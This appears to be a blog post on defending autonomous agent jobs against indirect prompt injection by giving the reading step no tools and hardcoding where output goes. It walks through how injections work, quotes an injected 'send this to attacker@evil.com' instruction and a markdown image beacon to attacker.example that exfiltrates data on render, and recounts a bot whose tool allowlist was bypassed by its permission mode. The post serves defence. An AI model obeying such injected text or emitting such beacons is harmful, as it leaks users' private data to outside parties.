Martin Andrt CZ
Home / Insights / Prompt-injection isolation for agent jobs
Security · Agent architecture

Isolating Autonomous Agent Jobs from Prompt Injection

Diagram: untrusted input stays behind a boundary; the LLM step with no tools hands only text to deterministic code with a hardcoded destination.

Prompt injection is a tool-access problem, not a wording problem. The durable fix isn't a cleverer instruction, it's isolation: the step that reads untrusted content gets no tools and can only emit text, a separate piece of deterministic code performs any real action toward destinations hardcoded in advance, and a human approves anything irreversible. That is Simon Willison's dual-LLM pattern, aimed at breaking his “lethal trifecta” — private data, untrusted content, and a way to send data out. What follows isn't a new defense; it's the operator's view of using that known one on jobs that read untrusted text, such as transcripts and scraped pages: what the reading step is allowed to do, how I tell it is really inert, and the place text-only output still leaks.

Prompt injection is a tool-access problem, not a wording problem

Prompt injection is when text an LLM reads as data contains instructions it then follows. The dangerous variant for automation is indirect prompt injection: the instruction arrives inside content the agent fetched on its own — a scraped page, an RSS item, an email body — so no human chose to send it. The term and the lethal-trifecta framing named in the intro are both Simon Willison's, from years of writing on this.

The instinct is to worry about what the model might say. That's the wrong axis. Remove any one leg of the trifecta and the attack has nowhere to land, and the cheapest leg to remove is the model's ability to act. If the step reading untrusted content holds no tools and can only produce text, a successful injection can't call an endpoint, write a file, or send a message. The design question isn't “how do I phrase the guard rail?” but “what can this step actually do if it's fully compromised?”

One boundary to fix first: a trusted source is not trusted content. A reputable feed or a shared drive is a trusted transport; what flows through it usually isn't.

Trusted sourceUntrusted content
A reputable RSS or forum APIIndividual items are user-submitted or aggregated
A shared drive you ownA document an outside collaborator can edit
Your own email inboxThe body of a message from anyone
Decides whether the pipe is reliableDecides whether the text can be an instruction
The architecture

Make the reading step inert, and hardcode where the code sends

Willison's quarantined LLM, in practice: call the model with no tools at all, so its only output is text. A separate, deterministic piece of code takes that string and does anything real — and its destination is hardcoded, never derived from the model's output or the fetched content. Even if an injection makes the model write “send this to attacker@evil.com,” nothing reads that as an address; the sending code already knows where the digest goes.

# the whole safety property in one shape
text = llm(prompt)               # inert: no tools, text only
post_to(HARDCODED_CHANNEL, text) # deterministic: destination is a constant

Inside that inert step, keep the fetched text from blurring into your instructions: wrap it in an explicit tag (<transcript>…</transcript>), precede it with a note that everything inside is data and not instructions, and escape any closing tag in the payload so it can't break out. That's a probabilistic layer, not a proof — it earns its place only because the step behind it has no tools.

Text-only output is not the same as safe output

Here is the trap in “it can only emit text.” Text is harmless only until something renders it. The moment the output is displayed as markdown or HTML — in a chat client, a dashboard, an email — an injected image beacons the instant it loads: ![](https://attacker.example/p.png?d=…) ships whatever the model was steered into appending, with no click required. An injected link is the same attack waiting for a human. This is the exfiltration leg of the trifecta hiding in the render, not in a tool, and it is more automatable than social-engineering a reviewer. So “inert” has to reach the output sink too: render untrusted-derived text as plain text, or strip and escape markup before anything displays it.

What the reading step is allowed to do

No tools and no connected services; the output is text only. This is enforced by how the model is launched, not by a sentence in the prompt. I trust a step is inert only after I have tried to make it act and watched it fail, not after reading the settings. In June I found that the tool allowlist of one of my bots, which runs Claude Code unattended, enforced nothing: the bot ran in a permission mode that skips the list entirely. I verified the fix with a test command that had to be refused. These defenses are built from how the attacks work; they are not the result of investigating a real breach.

Where it fails

Where this still fails

Isolation narrows the blast radius; it doesn't close it.

The takeaway isn't a fortress. The safety of an autonomous agent lives in its architecture — which steps can act, toward which hardcoded destinations, behind which human, into which render — not in a paragraph asking the model to behave.

FAQ
Can I run this fully unattended?
Only for narrow, reversible, repeated actions with a hardcoded destination and an inert LLM step; a daily digest to your own channel fits. Anything irreversible, outward-facing, or reaching a new audience should keep a human approval gate. The human isn't a training wheel; the code can't enforce a guarantee it doesn't hold.

Related. This pattern is one half of how I run an AI operating layer; the other half is how the agent remembers what it learned between runs, covered in persistent memory without a vector database. How the whole system works today is on the Persistent memory page.